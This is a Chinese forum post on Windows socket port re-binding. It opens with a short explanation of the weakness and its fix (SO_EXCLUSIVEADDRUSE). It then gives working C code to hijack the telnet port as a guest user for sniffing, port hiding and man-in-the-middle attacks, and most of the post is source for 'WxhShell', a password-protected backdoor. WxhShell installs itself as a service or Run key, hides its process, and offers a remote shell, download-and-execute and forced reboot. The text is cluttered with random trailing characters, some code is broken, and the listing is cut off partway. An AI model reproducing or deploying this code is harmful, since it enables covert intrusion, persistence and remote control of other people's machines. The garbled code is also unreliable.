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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (c0L H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'sUOi7U  
[#uhMn^  
  saddr.sin_family = AF_INET; 49=pB,H;H  
}={@_g#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8fP2qj0  
k4LrUd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Rh^@1{yr  
n!/0yR2S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~iH a^i?2*  
:a;F3NJ  
  这意味着什么?意味着可以进行如下的攻击: @e3+Gs  
O~V^]   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q< q IT  
KMIe%2:b5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >=;-:  
Dnw^H.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {. 9BG&  
auK9wQ%\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  by @qg:  
@iuX~QA[9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :k1?I'q%  
azv173XZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )v_Wn[Y.H  
T"vf   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q/]~`S  
cmXbkM  
  #include piM4grg \  
  #include $TXiWW+  
  #include |hika`35K  
  #include    l}L81t7f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aH1CX<3)~  
  int main() z)C/U  
  { i6_}  
  WORD wVersionRequested; -fA=&$V  
  DWORD ret; ({t^/b*8  
  WSADATA wsaData; +=E\sEe  
  BOOL val; vK)'3%  
  SOCKADDR_IN saddr; Zo&i0%S\E  
  SOCKADDR_IN scaddr; yk?bz  
  int err; R %RbC!P  
  SOCKET s; >JE+j=  
  SOCKET sc; T4.wz 58  
  int caddsize; ;99oJD,  
  HANDLE mt; N E9,kWI  
  DWORD tid;    wkZwtq  
  wVersionRequested = MAKEWORD( 2, 2 ); ,gQl_Amvz  
  err = WSAStartup( wVersionRequested, &wsaData ); $~FZJ@qa  
  if ( err != 0 ) { Hj{.{V  
  printf("error!WSAStartup failed!\n"); hc q&`Gun  
  return -1; %oa@2qJ^  
  } ]?=87w  
  saddr.sin_family = AF_INET; " 7^nRJy  
   p\ =T#lb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *xNc^ &.  
wx3_?8z/O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <K^a2 D  
  saddr.sin_port = htons(23); 3Sfd|0^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k^%=\c  
  { ?P0b/g  
  printf("error!socket failed!\n"); #b;?:.m\=  
  return -1; zz U,0 L  
  } g0zzDv7~  
  val = TRUE; Mrrpm% Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >IaGa!4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oI ick  
  { %evb.h)  
  printf("error!setsockopt failed!\n"); aNu.4c/5  
  return -1; I^k&v V  
  } fVn4=d6X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 06Wqfzceb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7e+C5W*9b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0}<blU  
Yt#; +*d5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aDRcVA$*  
  { x[{\Aw>$.  
  ret=GetLastError(); V_~lME  
  printf("error!bind failed!\n"); &q<k0_5Q  
  return -1; Nksm&{=6S  
  } -b^dK)wR~  
  listen(s,2); >} 2C,8N  
  while(1) e}?Q&Lci  
  { bfA>kn0C  
  caddsize = sizeof(scaddr); Qg/FFn^Kg*  
  //接受连接请求 j<kW+Iio  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Am*IC?@tq  
  if(sc!=INVALID_SOCKET) B%\&Q @X  
  { htbE Q NW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I;'{X_9$a  
  if(mt==NULL) Nt $4;  
  { }BC%(ZH6  
  printf("Thread Creat Failed!\n"); -O$vJ,*  
  break; ;B 8Q,.t>x  
  } rn)Gx2 5  
  } VrRF2(Kn?  
  CloseHandle(mt); v1{j1~ZR  
  } 6Pl|FI JF  
  closesocket(s); 4:rwzRDY  
  WSACleanup(); flPS+  
  return 0; KR$Fd  
  }   14'\@xJMM  
  DWORD WINAPI ClientThread(LPVOID lpParam) x$-kw{N  
  { iKo2bC:.&  
  SOCKET ss = (SOCKET)lpParam; k'O.1  
  SOCKET sc; QtnNc!,n  
  unsigned char buf[4096]; [voZ=+/  
  SOCKADDR_IN saddr; #l}Fk)dj  
  long num; 6,YoP|@0  
  DWORD val; 3 zh:~w_  
  DWORD ret; :8@)W<>%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2p, U ^h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    p[P# !  
  saddr.sin_family = AF_INET; f>6{tI 5X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B<EqzP*#  
  saddr.sin_port = htons(23);  ]+Whv%M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~!Sd|e:4  
  { 2*75*EQCH  
  printf("error!socket failed!\n"); ) Z3KO  
  return -1; EmT_T 3v  
  } |c0^7vrC  
  val = 100; YtvDayR>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r =x"E$  
  { BO*)cLQ  
  ret = GetLastError(); Ua \f]y  
  return -1; $CMye; yL  
  } #3*cA!V.<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ct-eD-X{  
  { Zy7kPL;b  
  ret = GetLastError(); (UkDww_!  
  return -1; hiVa\s  
  } |1_$\k9Y&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q<3La(^/  
  { lU!_V%n  
  printf("error!socket connect failed!\n"); H 0+-$s;f  
  closesocket(sc); A<|9</9z  
  closesocket(ss); o;6~pw%  
  return -1; wb62($  
  } :N<Qk  
  while(1) _fk}d[q0  
  { gN<7(F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8lx}0U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6V$ )ym*F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UY9*)pEE  
  num = recv(ss,buf,4096,0); 1,=:an  
  if(num>0) c!\T 0XtT  
  send(sc,buf,num,0); >/\TG8t,f  
  else if(num==0) z$^wCd:  
  break; 2o(O`;z  
  num = recv(sc,buf,4096,0); Nsh/  
  if(num>0) *e [*  
  send(ss,buf,num,0); Y$v d@Q  
  else if(num==0) XdA]);,  
  break; I<RARB-j  
  } ]CNPy$>*  
  closesocket(ss); ?<4pYEP  
  closesocket(sc); b * \ oQ  
  return 0 ; Ry}4MEq]  
  } 2fky z  
&*/= `=:C8  
uT=r*p(v  
========================================================== S8AbLl9G@>  
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下边附上一个代码,,WXhSHELL Io<T'K  
bp'%UgA)1  
========================================================== =KQIrS:  
SM)"vr_  
#include "stdafx.h" 8B-PsS|'  
EE]xZz>o  
#include <stdio.h> ?<.a>"!  
#include <string.h> $s=` {vv  
#include <windows.h> {wM<i  
#include <winsock2.h> XE_Lz2H`  
#include <winsvc.h> EXeV @kg  
#include <urlmon.h> #akJhy@m$  
Xbmsq,*]  
#pragma comment (lib, "Ws2_32.lib") e+!xy&u@u  
#pragma comment (lib, "urlmon.lib") yHE\Q  
`=pA;R9  
#define MAX_USER   100 // 最大客户端连接数 rNhS\1-  
#define BUF_SOCK   200 // sock buffer 8 !:2:  
#define KEY_BUFF   255 // 输入 buffer &i3SB[|  
G HQ~{  
#define REBOOT     0   // 重启 QaLaw-lx  
#define SHUTDOWN   1   // 关机 >x%HqP#_V  
_YlyS )#@  
#define DEF_PORT   5000 // 监听端口 {i=V:$_#  
\y271}'  
#define REG_LEN     16   // 注册表键长度 #f(tzPD  
#define SVC_LEN     80   // NT服务名长度 T\Xf0|y  
#xx.yn(7  
// 从dll定义API }.D18bE(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V?yQm4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MPnMLUB$\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &V 7J5~_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y>3zpeQ!&  
;Egl8Vhr  
// wxhshell配置信息 6I(Y<LZ5  
struct WSCFG { Q[3hOFCX  
  int ws_port;         // 监听端口 ,5<AV K-#Q  
  char ws_passstr[REG_LEN]; // 口令 `vzMuL;  
  int ws_autoins;       // 安装标记, 1=yes 0=no +pSo(e(  
  char ws_regname[REG_LEN]; // 注册表键名 !otseI!!/  
  char ws_svcname[REG_LEN]; // 服务名 >a*dI_XE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8>j&) @q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oMAUR "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6@lZVM)E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GKEOjaE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z l`m1k-X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;yqHt!N  
sK W~+ ]  
}; {9;-5@b  
*6<4ECa7C  
// default Wxhshell configuration ).GM 0-y  
struct WSCFG wscfg={DEF_PORT, whe%o  
    "xuhuanlingzhe", lE%KzX?&  
    1, c]1AM)xo  
    "Wxhshell", tc.|mIvw  
    "Wxhshell", o_=4Ex "  
            "WxhShell Service", jQ7;-9/~N  
    "Wrsky Windows CmdShell Service", e~*tQ4  
    "Please Input Your Password: ", n&&C(#mBC  
  1, ;=@O.iF;H  
  "http://www.wrsky.com/wxhshell.exe", Jm)7!W%3  
  "Wxhshell.exe" lAG@nh^  
    }; \c{sG\ >  
a5m[ N'kah  
// 消息定义模块 ~Fo2MwE2~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; id+EBVHAd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :I /9j=@1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HZ!<dy3  
char *msg_ws_ext="\n\rExit."; z|],s]F>G  
char *msg_ws_end="\n\rQuit."; -]}#Z:&  
char *msg_ws_boot="\n\rReboot..."; R f)|p;  
char *msg_ws_poff="\n\rShutdown..."; XySkm2y  
char *msg_ws_down="\n\rSave to "; /ho7~C+H*e  
uj\&-9gEi  
char *msg_ws_err="\n\rErr!"; %j@/Tx/  
char *msg_ws_ok="\n\rOK!"; *qL'WrB1  
cGo_qR/B(>  
char ExeFile[MAX_PATH]; 0FL'8!e<  
int nUser = 0; _d7;Z%  
HANDLE handles[MAX_USER]; v1+.-hO  
int OsIsNt; y+$vHnS/jC  
wPYeKOh'  
SERVICE_STATUS       serviceStatus; "fv+}'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mHW%^R=  
=d@)*W 6  
// 函数声明 v; ewMiK@E  
int Install(void); E}%Pwr  
int Uninstall(void); 5cM%PYU4:v  
int DownloadFile(char *sURL, SOCKET wsh); ^vVAuO  
int Boot(int flag); SJc*Rl>  
void HideProc(void); fUis_?!  
int GetOsVer(void); %*<Wf4P"  
int Wxhshell(SOCKET wsl); CU c,  
void TalkWithClient(void *cs); RWu< dY#ym  
int CmdShell(SOCKET sock); =B+dhZ+#S$  
int StartFromService(void); Z= -fL  
int StartWxhshell(LPSTR lpCmdLine); p|qLr9\A  
UWqiA`,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1x/R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B k\K G  
KCbOO8cQS  
// 数据结构和表定义 q~iEw#0-L  
SERVICE_TABLE_ENTRY DispatchTable[] = `tT7&*Os  
{ l{?9R.L  
{wscfg.ws_svcname, NTServiceMain}, GU1cMe  
{NULL, NULL} mW[w4J+7P  
}; Ap"%%D^{:  
Q;y4yJ$wI  
// 自我安装 Xg USJ*  
int Install(void) {Z!t:'x8  
{ 1)~9Eku6K  
  char svExeFile[MAX_PATH]; <WmjjD  
  HKEY key; .MDSP/s  
  strcpy(svExeFile,ExeFile); ['>r tV  
Zs0;92WL  
// 如果是win9x系统,修改注册表设为自启动 1PWi~1q{Q  
if(!OsIsNt) { 3 AP=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yc)Dx3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D > U(&n  
  RegCloseKey(key); Ln+.$ C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S+eu3nMq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d'Dd66  
  RegCloseKey(key); f2KH&j>~r  
  return 0; l.;^w  
    } Q>\DM'{:4  
  } OFcP4hDi  
} =SW<Vhtb  
else { Ps 0<CUyI  
eLHhfu;k  
// 如果是NT以上系统,安装为系统服务 x}` )'a[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m,6u+Z ,  
if (schSCManager!=0) E)p[^1WC  
{ ^xgPL'  
  SC_HANDLE schService = CreateService BlT)hG(M>  
  ( H8@z/  
  schSCManager, *U\`HUW  
  wscfg.ws_svcname, 7FaF]G  
  wscfg.ws_svcdisp, })PU`?f  
  SERVICE_ALL_ACCESS,  C !v%6[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BGH'&t_5  
  SERVICE_AUTO_START, KG(l=? N  
  SERVICE_ERROR_NORMAL, 2}.~ 6EU/  
  svExeFile, U? U3?Y-k`  
  NULL, #IqRu:csp  
  NULL, V!@6Nv  
  NULL, FSkX95  
  NULL, #4nBov3d  
  NULL g38 MF  
  ); 7;6'=0(  
  if (schService!=0) u,=?|M\  
  { Y)GU{  
  CloseServiceHandle(schService); . Wd0}?}  
  CloseServiceHandle(schSCManager); ?c_:S]^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oj?y_0}:^  
  strcat(svExeFile,wscfg.ws_svcname); "9vL+Hh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ofYZ! -V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  h y\iot  
  RegCloseKey(key); ]gA2.,)}D  
  return 0; #c/K.?  
    } BOdlz#&s  
  } NUh%\{  
  CloseServiceHandle(schSCManager); NP!LBB)=Y  
} bVZA f  
} Az?^4 1r8  
VS~+W=5}  
return 1; d,'gh4C  
} 4] u\5K-  
x],XiSyp  
// 自我卸载 BoARM{m  
int Uninstall(void) 80gOh:  
{ r#}o +3*  
  HKEY key;  = ~*Vfx  
u<Ch]m+  
if(!OsIsNt) { _3g!_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ak}`zIo  
  RegDeleteValue(key,wscfg.ws_regname); -\Z`+kY?p  
  RegCloseKey(key); Qo(<>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Vmp6XY3q  
  RegDeleteValue(key,wscfg.ws_regname); 11A$#\,  
  RegCloseKey(key); Z% `$id  
  return 0; k cNPdc  
  } 0uGTc[^^M  
} cp`ZeLz2^  
} BuitM|k'  
else { y<BG-  
@!!5el {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Smh=Q4,W  
if (schSCManager!=0) $p }q,f.  
{ E;k$ICOXA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %w!x \UV  
  if (schService!=0) G8Ow;:Ro  
  { r'*#i>PkQD  
  if(DeleteService(schService)!=0) {  Oo~   
  CloseServiceHandle(schService); [*H h6  
  CloseServiceHandle(schSCManager); #2*R0_b  
  return 0; /p}pdXS  
  } Y$ KR\ m  
  CloseServiceHandle(schService); :hf%6N='kI  
  } x97L>>|  
  CloseServiceHandle(schSCManager); W:}t%agis  
} ATV|M[B  
} &!+1GI9z  
!bX   
return 1; tI.ho  
} |*8X80<  
u&f|z9  
// 从指定url下载文件 S[l z>I  
int DownloadFile(char *sURL, SOCKET wsh) XE;' K`%  
{ -_Z  
  HRESULT hr; Uw)B(;Hy?  
char seps[]= "/";  T#Z#YMk  
char *token; O_DT7;g  
char *file; m_;XhO  
char myURL[MAX_PATH]; I;{Ua *  
char myFILE[MAX_PATH]; W6u(+P]("  
?. L]QU  
strcpy(myURL,sURL); TyR@3H  
  token=strtok(myURL,seps); &TN.6Hm3  
  while(token!=NULL) $/E{3aT@F2  
  { s`]SK^j0  
    file=token; G2=d q  
  token=strtok(NULL,seps); 4~d:@Gmk&  
  } 2UBAk')O}  
T-js*  
GetCurrentDirectory(MAX_PATH,myFILE); A#F6~QX(.9  
strcat(myFILE, "\\"); u3jLe=Y'\  
strcat(myFILE, file); !G'wC0  
  send(wsh,myFILE,strlen(myFILE),0); & }_tALg  
send(wsh,"...",3,0); )~w bu2;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )L"J?wTe  
  if(hr==S_OK) _~y-?(46K  
return 0; mF>{cVTF  
else {JfL7%  
return 1; zUWWXC%R  
YTfi g{a  
} 2H~E~6G  
MiMDEe%f%  
// 系统电源模块 |Fx~M,Pzg  
int Boot(int flag) FaaxfcIfkw  
{ 5E${  
  HANDLE hToken; 4Ub7T=LG  
  TOKEN_PRIVILEGES tkp; raR=k!3i  
7?uIl9Vk>(  
  if(OsIsNt) { w:~vfdJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ou|kb61zg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uPb.uG  
    tkp.PrivilegeCount = 1; r;"Qu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GCxmqoQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }AS3]Lub@  
if(flag==REBOOT) { Bv 7os3xb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bhW&,"$Z  
  return 0; <^e  
} +rDKx(Rk  
else { kr44@!s+'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FJsM3|{2=d  
  return 0; UQBc$`v  
} {@tO9pc`8  
  } t+Qx-sW  
  else { ;"NW= P&  
if(flag==REBOOT) { * YLp C^&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d(,M  
  return 0; Z3dI B`@  
} H_u%e*W  
else { YizwKcuZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S e!B,'C%  
  return 0; 0.^67'  
} PJ)d5D%T  
} %^iBTfq2hc  
aM\Ph&c7e'  
return 1; |O*?[|`H  
} ,,h>_IA  
h0-CTPQ7A  
// win9x进程隐藏模块 'pT8S  
void HideProc(void) ?+byRoY>&g  
{ -[z1r)RZ  
\"+}-!wr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 07vzVsQ}p  
  if ( hKernel != NULL ) ?|GwuG8g  
  { M1K[6V!   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |u[@g`Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "l(<<Ha/  
    FreeLibrary(hKernel); g:&PjKA  
  } Gr~J-#a3~D  
n?v$C:jLN  
return; }Gd^r  
} EV R>R  
|#22pq?RP  
// 获取操作系统版本 b Kr73S9  
int GetOsVer(void) 0E^S!A 7  
{ |_16IEJ  
  OSVERSIONINFO winfo; @-O%u* %J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J+qcA}  
  GetVersionEx(&winfo); z+j3j2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7C~g?1  
  return 1; $T*g@]   
  else #D%l;Ae  
  return 0; is{H >#+"  
} YF)c.Q0  
oox;8d4}y  
// 客户端句柄模块 ezhK[/E=  
int Wxhshell(SOCKET wsl) }t1J`+x%  
{ Qt=OiKZ  
  SOCKET wsh; W'Y#(N[ktP  
  struct sockaddr_in client; 9gETWz(3I  
  DWORD myID; A3Vj3em  
^{64b  
  while(nUser<MAX_USER) JzkI!5c<j  
{ nO8e'&|  
  int nSize=sizeof(client); {fn1sGA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N. 0~4H %U  
  if(wsh==INVALID_SOCKET) return 1; \WM"VT  
+VO(6Jn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dMa6hI{k  
if(handles[nUser]==0) 9@YhAj  
  closesocket(wsh); xepp."O  
else  SB^xq  
  nUser++; +QEiY~i  
  } YvFt*t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 69zMWuY  
w[/m:R?eX  
  return 0; ^dKtUH/78G  
} lR5k1J1n  
'CvV Ktk  
// 关闭 socket =gO4B-[  
void CloseIt(SOCKET wsh) y~py+:_  
{ <p#+('N`  
closesocket(wsh); 3:3>k8  
nUser--; $6/CTQ  
ExitThread(0); W>E|Iv[o  
} *;~i\M9_  
{br6*  
// 客户端请求句柄 D3C3_ @*  
void TalkWithClient(void *cs) \!4_m8?  
{ gLWbd~  
pUeok+k_  
  SOCKET wsh=(SOCKET)cs; gO_d!x*  
  char pwd[SVC_LEN]; jR^_1bu  
  char cmd[KEY_BUFF]; GNM+sd y+  
char chr[1]; US] I[Y6V  
int i,j; w*gG1BV  
U;FJSy  
  while (nUser < MAX_USER) { b4>1UZGW-  
Url8&.pw  
if(wscfg.ws_passstr) { *^p^tK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d{(NeTs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LDj*~\vsq  
  //ZeroMemory(pwd,KEY_BUFF); q'`LwAU}  
      i=0; 2:;;  
  while(i<SVC_LEN) { "?s  
@ "/:Omh  
  // 设置超时 RFLw)IWkL_  
  fd_set FdRead; G`,M?l mL  
  struct timeval TimeOut; A{ . A1  
  FD_ZERO(&FdRead); `~2I  
  FD_SET(wsh,&FdRead); ed$w5dv  
  TimeOut.tv_sec=8; Ev0=m;@_  
  TimeOut.tv_usec=0; r!/<%\S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \y+@mJWa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X`fer%`  
6~a4-5;>z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pr#uV3\  
  pwd=chr[0]; }EN-WDJD\  
  if(chr[0]==0xd || chr[0]==0xa) { W]M Fq5.  
  pwd=0; Eb9n6Fg  
  break; hWRr#030  
  } Tvd: P^ C  
  i++; oGz5ZDa#  
    } Pk&sY'  
.hK:-q,  
  // 如果是非法用户,关闭 socket |}wT/3>\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vg*~t3{L  
} yG,uD!N]|  
F<Ig(Wl#az  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F_nXsKem  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y*#+:D]o*  
mIv}%hD  
while(1) { wfQImCZ>l  
P$&l1Mp  
  ZeroMemory(cmd,KEY_BUFF); m tVoA8(6  
h<bCm`qj  
      // 自动支持客户端 telnet标准   j-7aJj%  
  j=0; 8_T9[ ]7V8  
  while(j<KEY_BUFF) { \n^;r|J7k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m Q^SpK #  
  cmd[j]=chr[0]; xtzkgb,0[  
  if(chr[0]==0xa || chr[0]==0xd) { Ui`#B  
  cmd[j]=0; >lF@M-  
  break; ricL.[v9S  
  } ) RNB;K~s9  
  j++; ma@!"Z8 S  
    } /NQ PTr  
t/h,-x  
  // 下载文件 Sgn<=8,6c  
  if(strstr(cmd,"http://")) { 'j\mz5#s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DJ|lel/'  
  if(DownloadFile(cmd,wsh)) =!IoL7x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S#S&_#$`,X  
  else mi@ni+2Tn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !JA//{?  
  } ` pfRY!  
  else { kQO-V4z!  
^CP>|JWD^  
    switch(cmd[0]) { $Ao'mT  
  *Nur>11D  
  // 帮助 ,n &Lp  
  case '?': { \W 7pSV-U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t@q==VHF  
    break; DY1"t7 9E  
  } O6Y1*XTmH6  
  // 安装 TEi1,yc  
  case 'i': { ?b\oM v5y  
    if(Install()) Z=(Tq1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qI*7ToBJ  
    else hp}JKj@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qD,/Qu62  
    break; Dw<bLSaW&  
    } D_ XOYzN}  
  // 卸载 n2Ew0-  
  case 'r': { x@tI  
    if(Uninstall()) k zC4V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ogJ *  
    else $>rKm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +HlZ ?1g  
    break; 9hjzOJPuga  
    } Zm6|aHx8v  
  // 显示 wxhshell 所在路径 +g_m|LF  
  case 'p': { p;~oIy\,  
    char svExeFile[MAX_PATH]; .pIO<ZAFT  
    strcpy(svExeFile,"\n\r"); "%#CMCE|f  
      strcat(svExeFile,ExeFile); rTim1<IXR  
        send(wsh,svExeFile,strlen(svExeFile),0); H{1'- wB  
    break; _}tPtHPa/  
    } B(Er/\-@U  
  // 重启 ' 1X^@]+6  
  case 'b': { ,>Dpt <  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }H|'W[Q.  
    if(Boot(REBOOT)) F12$BK DH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |qpFR)l  
    else { kc<5wY_t  
    closesocket(wsh); lLLPvW[Q  
    ExitThread(0); WG +]  
    } ~bz$]o-<  
    break; 9K-,#a  
    } uo bQS!  
  // 关机 vb3hDy  
  case 'd': { 8WC _CAP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0bteI*L  
    if(Boot(SHUTDOWN)) ZtY?X- 4_  
